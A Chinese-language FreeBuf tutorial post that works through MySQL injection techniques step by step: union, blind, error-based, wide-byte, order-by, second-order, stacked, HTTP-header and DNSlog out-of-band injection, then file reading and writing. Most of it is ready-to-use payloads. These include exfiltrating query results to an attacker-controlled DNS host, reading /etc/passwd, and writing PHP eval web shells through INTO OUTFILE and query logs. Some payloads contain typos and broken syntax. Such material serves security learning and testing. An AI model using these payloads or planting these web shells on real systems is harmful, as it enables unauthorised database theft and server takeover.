freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Mysql注入详细讲解
n0Sleeper 2023-11-10 18:33:57 161571

特殊字符

0x3a:
0x7e~
0x23#

注入基础

联合查询注入(union)

:::tips
页面将SQL查询内容显示出来,即为有回显,可以尝试联合查询注入
利用关键字union ,union all 拼接恶意SQL语句
:::

注入流程

  1. 有报错,可以利用报错。如:?id=1' order by 4 --+,有报错回显,可以利用order by猜测字段数!
    image

  2. 使用union select **1,2,3,x..**获取回显字段位置:?id=-1' union select 1,2,3--+

    1. 注意:union前面语句要出错(不是报错)!image

    2. select后一定要拼接足够的字段数,否则会报错

    3. 如果测试都正常,但是union select 1,2,3会导致页面报错,说明字段类型不对,可以使用null替代:union select null,null,null

  3. 找到回显位置后,可以开始查库名database(),表名,列名,数据库版本等信息

    1. Mysql版本 < 5.0

      1. 缺乏系统库information_schema,所以通常情况下,只能爆破表,字段的名称

    2. Mysql >= 5.0

      1. 存在information_schema,可以通过下面语句获取所有数据库信息

获取所有数据库
select schema_name from information_schema.schemata

获取当前数据库的所有表名
select table_name from information_schema.tables where table_schema = database()

获取表名为users的所有列信息
select column_name from information_schema.columns where table_name = 'users' 

获取当前数据库表users中id,username的值
select id,username from users;

小总结:

-- 判断字段数目
order by 

-- 联合查询搜集信息(表中字段数为 3,注意字符类型,如 int,String 之类的)
union select 1,2,3

-- 查询当前数据库名称
union select 1,2,database();

-- 查询所有数据库
union select 1,2,group_concat(schema_name) from information_schema.schemata;

--查询当前数据库中的所有表名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database();

-- 查询某表的列名
union select 1,2,group_concat(column_name) from information_shcema.columns where table_name = 'student'
(studnet 表示 具体的表名)

-- 查询数据
union select 1,2,group_concat(id,name,age) from student;

具体使用

:::info
一般会选择最后一个可用字段,用其他字段容易报错
:::

查所有表

?id=-1' **union select** 1,2,group_concat(table_name) from **information_schema.tables** **where** table_schema=database()--+
(table_schema=database() 表示目标表所在的数据库为当前数据库)

查列名

?id=-1'** union select** 1,2,group_concat(column_name) from **information_schema.columns where** table_name='users'--
(table_name='users' 表示查询的表为users表)

查值

?id=-1' union select 1,2,group_concat(0x23,username,0x23,password) from users --+
(0x23表示#号,用于分割查询到的数据)

盲注

布尔盲注

通过利用页面对逻辑真假的差异(真/假),进行判断是否可以进行布尔盲注

原理:

select * from users where username=$username **and (condition)**,其中and (condition)即为我们拼接的语句

  • and 1=1 真

  • and 1=2 假
    :::info
    上面两个只是最简单的布尔条件,如果真和假的页面不同,可以尝试布尔盲注
    一般注入点找到后,可以用sqlmap去跑,手工太慢了
    :::

常用函数

  • ascii():返回指定字符的ascii码

  • count():计算结果集的数量

  • length():返回指定字符串的长度

  • substr()/substring(str,pos,length):返回截取的子字符串

利用方式

判断:
?id=1' and 1=2 --+?id=1' and 1=1 --+页面不同,说明存在布尔盲注
常用语句:

  • 求数据库长度

?id=1' and (length(database())=8) --+
?id=1' and (length(database())>7) --+
?id=-1' or (length(database())>7) --+
  • 求数据库名(用字符来逐个对比)

从左往右截取一个字符
?id=1' and (left(database(),1)='s') --+

从左往右截取2个字符
?id=1' and (left(database(),2)='se') --+

从第一个字符开始截取一个字符,其ascii码是否为115(s的ascii码是115)
?id=1' and ascii(substr(database(),1,1))=115 --+

从第二个字符开始截取一个字符,其ascii码是否为101
?id=1' and ascii(substr(database(),2,1))=101 --+

利用大小比较截取字符的ascii码
?id=1' and ascii(substr(database(),1,1))<115
  • 求当前数据库中当前表的数量

?id=1' and 4=(select count(table_name) from information_schema.tables where table_schema=database()) --+

?id=1' and 4=(select count(table_name) from information_schema.tables where table_schema='security') --+
  • 求当前数据库表名长度

表名的长度就是substr()函数中的7-1=6,即猜测库中表长是否为6
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),7,1)) --+

其中limit 1,1代表取security库中的第二个表,即利用limit来控制第几个表
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),7,1)) --+

利用length()来猜测表长
?id=1' and (length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8) --+
  • 求当前数据库名

利用substr截取字段,依次猜测

对security数据库中的第一个表的第一个字符进行ascii码的猜测,可以利用limit控制第几个表
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
  • 求指定表中列的数量

利用count()计数
?id=1' and (select count(column_name) from information_schema.columns where table_name='users')=20 --+
  • 求对列名的长度

利用substr猜测长度,和猜表名长度一样
如果猜测正确,则页面异常,如果猜错,也页面正常,递增测试
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)) --+

利用length()判断
?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2 --+
  • 跑字段(一般直接用sqlmap跑)

测试数据库security中表users的username字段的第一个数据的第一个字符的ascii是否为67
?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=67 --+

?id=1' and ascii(substr((select concat(username,':',password) from security.users limit 0,1),1,1))=68 --+

时间盲注

利用特定函数,是页面返回内容存在时间差异进行条件判断

常用函数

  • if(1,2,3):如果语句1True,则执行语句2,否则执行语句3

  • sleep(x):延迟x秒后执行

  • ascii(char):将字符转换为ascii码

  • substr(str,pos,len):将字符串从pos位开始截取len长

  • benchmark(count,exp):执行表达式exp,count次

  • case...when...then...else...end

什么时候用?

  • 无论输入什么都只显示无信息页面,如登录页面。这种情况下可能只有登录失败页面,错误页面被屏蔽了,并且在没有密码的情况下,登录成功的页面一般情况也不知道。在这种情况下有可能基于时间的 SQL 注入会有效

  • 无论输入什么都只显示正常信息页面。例如,采集登录用户信息的模块页面,采集用户的 IP,浏览器类型,referer 字段,session 字段,无论用户输入什么,都显示正常页面

使用方式

以if(1,2,3)条件判断为例

  • 猜数据库名长度

?id=1' and if(length(database())>7,1,sleep(5)) --+
如果数据库名称大于7,则响应很快,如果长度不大于7,则等待5秒响应

其他语句

case...when[条件] then [条件True执行语句]else [条件False执行语句] end
?id=1' and case 1 when 1=1 then sleep(5) else 1 end --+

benchmark(count,exp)
?id=1' and benchmark(10000000,md5('a'))--+     预计2s

笛卡尔积
?id=1' and (select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C) --+       10秒

报错注入

服务器开启报错信息返回,即回显报错信息,可以通过特殊函数的错误使其参数页面输出

  • 报错函数通常对报错输出长度有限制,可以通过函数进行分割输出

  • 可以利用group_concat()函数聚合数据

常用报错函数

exp()函数

适用范围:mysql > 5.5.53时无法使用
函数作用:返回e的x次方的结果
原理:mysql能记录的double数据结果有限,一但超出限制,就会报错
由于0按位取反取值为:18446744073709551615,直接造成double型溢出,利用mysql函数正常取值会返回0的特性,则有:

select exp(~(select * from (select version())x));

?id=1' and exp(~(select * from (select version())x)) --+
  1. exp()函数套用两层子查询

    1. 先查询select version(),将结果集设为x

    2. 在查询select * from x,将结果集x中的所有结果输出

    3. 必须使用嵌套

ExtractValue()

语法:extractvalue(xml_flag,xpath_expr)
使用范围:5.1.5+
原理:Xpath格式语法书写错误,就会报错
:::info
此报错注入和updatexml()都只能报错最大32位,若要爆出32位之后的数据,就需要借助mid()函数进行字符截取从32位以后的数据
:::

mid()函数

语法:mid(string,start,length)
使用:

?id=1' and extractvalue(1,mid(concat(0x23,(SELECT group_concat(table_name) from information_schema.tables where table_schema = database()),0x23),1,32)) --+

updatexml()

语法:updatexml(XML_document,Xpath_String,new_value)
适应:5.1.5+
原理:同extractvalue()

Payload:updatexml(1,concat(0x23,user(),0x23),1)

?id=1' and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x23),1,32),1) --+

floor报错

用到的函数:

  • floor():向下取整

  • rand():取随机数,若有参数x,则每个x对应一个固定的值,连续多次执行会变化但是可以预测

  • floor(rand(0)*2):产生序列:011011011....

原理:利用数据库表主键不能重复的原理,使用GROPU BY分组,产生主键key冗余导致报错
若要利用floor报错注入,数据库数据必须大于三条

爆库
?id=1' and (select 1 from (select count(*),concat(0x23,database(),0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x) as y --+

爆表
?id=1' and (SELECT 1 from (SELECT count(*),concat(0x23,(SELECT table_name from information_schema.`TABLES` WHERE table_schema=database() LIMIT 0,1),0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x) as y) --+

其他几何函数报错

GeometryCollection:?id=1' AND GeometryCollection((select * from (select* from(select user())a)b)) --+

polygon():?id=1' AND polygon((select * from(select * from(select user())a)b))--+

multipoint():?id=1' AND multipoint((select * from(select * from(select user())a)b)) --+

multilinestring():?id=1' AND multilinestring((select * from(select * from(select user())a)b)) --+

linestring():?id=1' AND LINESTRING((select * from(select * from(select user())a)b)) --+

multipolygon() :?id=1' AND multipolygon((select * from(select * from(select user())a)b)) --+

GTID()

原理:参数格式错误

?id=1' and SELECT gtid_subset(user(),1)

?id=1' and SELECT gtid_subtract((SELECT * from (SELECT users())a),1)

name_const()

原理:mysql列名重复会导致报错,通过name_const制造一个列
作用:只能获取数据库版本信息

边界溢出

原理:当mysql数据库的边界数值进行运算时,会触发报错
例如:0-~0

?id=1' and (SELECT !(SELECT * from(SELECT mid(group_concat(table_name),21,32) from information_schema.tables where table_schema = database())a)-~0) --+

宽字节注入

原理:Mysql配置**魔术引号(magic_quotes_gpc)**或者使用**addslashes()**函数对字符进行过滤时,会在其前面加上\进行过滤,而\ = %5c由于国内一般使用GBK编码,当注入参数里有%df(或%bf)时,会使得%df%5c转化为一个汉字,从而吃掉转义\使得'可以起作用

' => %27
# => %23

产生原因:character_set_client和character_set_connection不同,或者过滤函数iconv,mb_convert_encoding使用不当

Payload

?id=1%df%27 and 1=1 %23

有时候网站会设置UTF-8编码进行过滤,使用**iconv()**将GBK转化为UTF-8

payload

?id=1%e5%5c%27 and 1=1 --+

%e5%5c 是 gbk 编码,转换为 UTF-8 编码是 %e9%8c%a6
%e5%5c%27 首先从 gbk 编码经过 addslashes 函数之后变成 %e5%5c%5c%5c%27,再通过 iconv()将其转换为 UTF-8 编码,%e9%8c%a6%5c%5c%27 ,其中 %e9%8c%a6 是汉字,%5c%5c%27 解码之后是\\&#39;第一个\将第二个\转义,使得 %27 单引号逃逸,成功闭合语句

order by注入

原因:order by 注入通常出现在排序中,前端展示的表格,某一列需要进行升序或者降序排列,或者做排名比较的时候常常会用到 order by 排序,order by 在 select 语句中,紧跟在 where [where condition]后,且 order by 注入无法使用预编译来防御,由于 order by 后面需要紧跟 column_name,而预编译是参数化字符串,而 order by 后面紧跟字符串就会提示语法错误,通常防御 order by 注入需要使用白名单的方式。

利用方式(基于报错注入判断)

通过order by列名,根据排序返回的情况来判断是否存在,或者使用超大数,构成SQL语句错误

返回多条记录导致报错
?sort=(select 1 union select 2)

?sort=IF(1=1,1,(select 1 from information_schema.tables))
?sort=IF(1=2,1,(SELECT 1 from information_schema.tables))


利用regexp()
?sort=(select 1 regexp if(1=1,1,0x00)) // 正确
?sort=(select 1 regexp if(1=2,1,0x00)) // 错误

其他报错函数(见报错注入)
.....

二次注入

**原理:**用户向数据库里存入恶意的数据,在数据被插入到数据库之前,肯定会对数据库进行转义处理,但用户输入的数据的内容肯定是一点摸样也不会变的存进数据库里,而一般都默认为数据库里的信息都是安全的,查询的时候不会进行处理,所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。

用途:

  • 无视密码进行登录

  • 重置密码

利用:
注册时:admin '#

当我们进行一些恶意操作时,例如:重置密码
此时的数据库执行的语句会变为:
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
# 号后面内容全部被注释掉了

整型注入

无论输入' 或 "都会报错,而改变数字不会触发报错,可以尝试?id=1 and 1=1如果没有报错,而id=1 and 1=2报错,说明是整型注入

通常语句如下:
    $query="select username,email from member where id=$id";

注入方式:
id=1 order by 3--+  或id=1 order by 3#

id=1 union select 1,2,3#
然后就是相对应的注入手法进行数据获取

堆叠注入

原理:在Mysql中分号;表示一条sql语句的结束,若目标Mysql支持多语句执行,就可以尝试堆叠注入,但是只会返回第一条语句的内容

一种利用方式
?id=2';insert into users(id,username,password) values(99,'test','test') --+

强行插入数据
或者update更改数据内容

加密注入

GET/POST提交数据时,发现提交的数据被加密了(可能js加密),那么在提交数据前,抓包,解密,将注入语句写好,然后将整个语句进行加密(相同加密算法),再将数据发过去。

加密手段

  • 简单加密

    • base64加密(典型:后面有等号=,一个或者两个)

  • 复杂加密

    • 一般是前端js加密(分析前端js加密代码)

    • 有密码之类的,可能存在后端加密,无法处理

伪静态注入

首先要明白概念:静态(html)、动态(php,asp,jsp...)、伪静态,看URL大致就能发现
伪静态:页面看似是静态页面(html),实则为动态页面。
静态页面:纯展示内容,无论谁访问,看到的都一样,没有数据交互,只能看
动态网站:存在数据交互,不同人看可能内容不一样

伪静态判断方式:

  • 利用Wappalyzer插件--看编程语言(不一定准)

  • 在控制台输入:imagejavascript:alert(document.lastModified),如果得到的时间和当前电脑时间一致,就是伪静态,否则就是静态
    image

伪静态地址看法:
http://xxx.xxx.xx.xx:xxx/test.php/id/1.html
(原型一般为:http://xxx.xxx.xx.xx:xxx/test.php?id=1 ),所以只需要在**1**处进行注入测试即可

HTTP头注入(场景)

**原理:**从 HTTP 头中获取数据,而未对获取到的数据进行过滤,从而产生的注入。HTTP 头注入常常发生在程序采集用户信息的模块中。
:::info
http头部注入,一般不懂使用注释符,但是可以用and '1'='1 之类逻辑语句替换
:::
主要可以注入的关键字:

X-Forwarded-For/Client-IP 用户 IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])

User-Agent 用户代理的设备信息(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)

Referer 告诉服务器该网页是从哪个页面链接过来的

Cookie 标识用户的身份信息(通常经过加密)

可以在上面几个HTTP数据中,进行SQL注入的测试

测试

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0**' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1**
image

DNSlog盲注(DNS盲注)

也叫OOB(Out-of-Band,带外数据)注入
默认情况下无法使用,需要修改配置secure-file-priv
**原理:**关于特定网站的 DNS 查询的一份记录表。若 A 用户对 B 网站进行访问/请求等操作,首先会去查询 B 网站的 DNS 记录,由于 B 网站是被我们控制的,便可以通过某些方法记录下 A 用户对于 B 网站的 DNS 记录信息。
**利用方式:**想要查询数据A,让mysql服务端去请求A.evil.com,通过记录evil.com的DNS记录就可以得到数据A
**利用函数:**load_file()
应用场景:

  1. 三大注入(报错,盲注,Union联合查询)无法使用,或盲注跑数据太慢

  2. 有文件读取权限及secure-file-priv没有值(即secure-file-priv= ,而不是=null)

  3. 目标系统为Windows(这里涉及到UNC路径,Linux无法使用)

基本用法:
' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,0)--+

  • 四个\\,最后表示\,因为有两个是分别用来转义的

  • .xxxx.ceye.io\\abc是让mysql数据库去请求的DNSlog服务器(有在线的),abc是随便写的

' and select load_file(concat('\\\\',(select user()),'.xxxx.ceye.io\xxxx'))

文件读写

读文件

**作用:**读取敏感文件、配置信息、数据库数据
限制:

  1. 知道所读文件的绝对路径

  2. secure-file-priv的值为非NULL或者包含所读文件的绝对路径或者为

  3. mysql服务对所读文件有读权限

  4. mysql连接的用户有FILE权限/ROOT用户/ROOT权限**(高权限)**

使用:
查询当前用户是否有权限读写:
' and (select **File_priv** from **mysql.user** where **user='root'** and **host='localhost'**)='Y'%23(%23是#,注释)

secure_file_prive=null 限制mysqld 不允许导入和导出
secure_file_priv=/tmp/ 限制mysqld 的导入和导出只能在/tmp/目录下
secure_file_priv= 不对mysqld 的导入和导出做限制

三种方法查看当前secure-file-priv的值:

select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "%secure%";  或者:show variables like 'secure_file_priv';

或者:
select user,file_priv from mysql.user

image
image

Payload:
**load_file()load data infile()**是不同版本的Mysql中读文件的函数

load_file()函数(load_file()支持网络路径)
select load_file('文件绝对路径')
?id=-1' union select 1,load_file('C:/test.txt'); --+

load_file()的路径可以被hex编码:
?id=-1' union select 1,load_file(0x433a2f746573742e747874); --+
进行hex编码时,不需要引号


load data infile()函数
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
select * from test;

:::info
在mysql 5.6.34版本后,secure-file-priv设置默认为NULL,只能通过修改配置文件才能
:::

写文件

条件

  • secure-file-priv无值或有可利用的目录

  • 指导目标绝对路径

  • 目标目录可写,mysql权限足够

  • 写入目标文件不存在

mysql<5.5.53,secure-file-priv默认为空

主要函数:

  • into outfile

    • 可以写入多条数据,并会在每⾏的结束加上换⾏符

    • 将数据写到文件里时有特殊的格式转换

    • outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。

  • into dumpfile

    • 只能写入一条数据

    • dumpfile 在写⽂件时会保持⽂件的原⽣内容/原数据格式,适合写二进制文件,如exe文件,udf提权的dll文件

    • dumpfile,后面的路径可以是单引号、0x、char转换的字符,但是路径中的斜杠是/

select * from users into outfile 'C:\test.txt'         将users表中数据导出到test.txt文件中

select * from users into dumpfile 'C:\test1.txt'

补充:利用导出函数的补充参数写shell

FIELDS TERMINATED BY ','    = 字段值之间以,分割
OPTIONALLY ENCLOSED BY '"'    = 字段值以"包裹
LINES TERMINATED BY '\n'    = 设置每⾏数据结尾的字符为换行符

select * from users into outfile 'C:/phpStudy/test.php' **LINES STARTING BY '<?php @eval($_POST[pass]);?>'**;

Payload

outfile一句话写
  • ?id=-1' union select 1,"<?php @eval($POST['c']);?>" into outfile "C:/phpStudy/WWW/shell.php"#

  • Shell Hex编码

    • ?id=-1' union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E into outfile "C:/phpStudy/shell.php"

    • hex编码时,引号就不用带入编码了

日志getshell

由于mysql在5.5.53+后,secure-file-priv默认为NULL,使得正常读写文件无法使用,所以可以尝试mysql生成日志的方法绕过。
只有查询日志和慢查询日志可以利用

条件

  • 权限足够大,可以进行日志操作(执行set语句)

  • 知道目标目录的绝对路径

利用:
利用慢查询日志
show variables like '%query_log%';      查看慢查询日志状态
set global slow_query_log = 1;    开启慢查询日志
set global slow_query_log_file='C:/phpstudy/WWW/test.php’;		修改日志文件的绝对路径


利用查询日志
show variables like '%general_log%';    查看查询日志状态
set global general_log = 'ON';    开启查询日志
set global general_log_file = 'C:/phpStudy/WWW/test.php';		修改日志文件的绝对路径

修改完日志条件后,执行查询的恶意语句,就会自动记录,例如:
?id=-1';select "<?php @eval($_POST[log]);?>" from users where sleep(11);#

# SQL注入 # web安全 # mysql # sql注入利用方式 # sql注入各种姿势
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 n0Sleeper 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
n0Sleeper LV.2
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 4 关注者
红队C2基础设施搭建
2024-01-25
Hack-the-box渗透实战:HTB:Forge
2023-12-26
Hack-the-box 靶场实战:HTB-Previse
2023-12-26
文章目录